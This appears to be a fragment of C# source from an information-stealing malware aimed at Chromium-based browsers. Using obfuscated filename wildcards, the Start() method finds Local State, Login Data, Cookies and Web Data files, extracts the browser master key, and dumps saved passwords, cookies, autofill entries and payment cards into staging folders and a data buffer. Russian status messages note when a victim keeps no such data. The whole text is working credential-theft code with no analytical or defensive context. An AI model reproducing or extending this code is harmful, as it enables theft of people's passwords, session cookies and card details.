public static void Start() { string[] search_files = new string[4] { "co*es", "log*ta", "we*ata", "loc*ate" }; List <string> _out = new List <string>(); List <string> _out2 = new List <string>(); Recursive.Search(Buffer.path_lad, ref _out, Buffer.string_0, search_files, 3); Recursive.Search(Buffer.path_ad, ref _out2, Buffer.string_0, search_files, 3); List <string> list = null; list = ((_out.Count() > 1 && _out2.Count() > 1) ? _out.Concat(_out2).ToList() : ((_out.Count() > 1) ? _out : ((_out2.Count() > 1) ? _out2 : null))); bool flag = false; string text = ""; int num = 0; int num2 = 0; if (!Directory.Exists($"{Buffer.path_l}Browsers")) { Directory.CreateDirectory($"{Buffer.path_l}Browsers"); } if (!Directory.Exists($"{Buffer.path_l}Autofill")) { Directory.CreateDirectory($"{Buffer.path_l}Autofill"); } if (!Directory.Exists($"{Buffer.path_l}Cards")) { Directory.CreateDirectory($"{Buffer.path_l}Cards"); } if (list != null) { foreach (string item in list) { string text2 = Path.GetFileName(item).ToLower(); if (!flag && text2.Contains("state")) { chrome.GETMasterKey(item); flag = true; } else if (text2.Contains("login")) { string text3 = PasswordParse(item); text += (string.IsNullOrEmpty(text3) ? "" : $"{text3.Trim()}\n\n"); } else if (text2.Contains("cookie")) { num++; CookieParse(item, string.Format("{0}Browsers\\[{1}-{2}] Cookies.txt", Buffer.path_l, item.Split(new string[1] { "AppData\\" }, StringSplitOptions.None)[1].Split('\\')[1], num)); } else if (text2.Contains("web")) { num2++; fillParse(item, string.Format("{0}Autofill\\[{1}-{2}] Autofill.txt", Buffer.path_l, item.Split(new string[1] { "AppData\\" }, StringSplitOptions.None)[1].Split('\\')[1], num2)); CCParse(item, string.Format("{0}Cards\\[{1}-{2}] Cards.txt", Buffer.path_l, item.Split(new string[1] { "AppData\\" }, StringSplitOptions.None)[1].Split('\\')[1], num2)); } } } if (!string.IsNullOrEmpty(text.Trim())) { File.WriteAllText($"{Buffer.path_l}Browsers\\Passwords.txt", text.Trim().Replace("\n", Environment.NewLine)); } Buffer.XBufferData[0] = CCookies.ToString(); Buffer.XBufferData[1] = CPasswords.ToString(); Buffer.XBufferData[10] = cfill.ToString(); Buffer.XBufferData[11] = CCards.ToString(); if (Directory.GetFiles($"{Buffer.path_l}Browsers", "*.txt").Count() == 0) { File.WriteAllText($"{Buffer.path_l}Browsers\\info.txt", $"{Buffer.head}Похоже что пользователь удаляет свои куки и пароли. Или же браузер не определен."); } if (Directory.GetFiles($"{Buffer.path_l}Autofill", "*.txt").Count() == 0) { File.WriteAllText($"{Buffer.path_l}Autofill\\info.txt", $"{Buffer.head}Похоже что пользователь не сохраняет автофилл. Или же браузер не определен."); } if (Directory.GetFiles($"{Buffer.path_l}Cards", "*.txt").Count() == 0) { File.WriteAllText($"{Buffer.path_l}Cards\\info.txt", $"{Buffer.head}Карты не найдены. Похоже что пользователь не использует карты для оплаты."); } }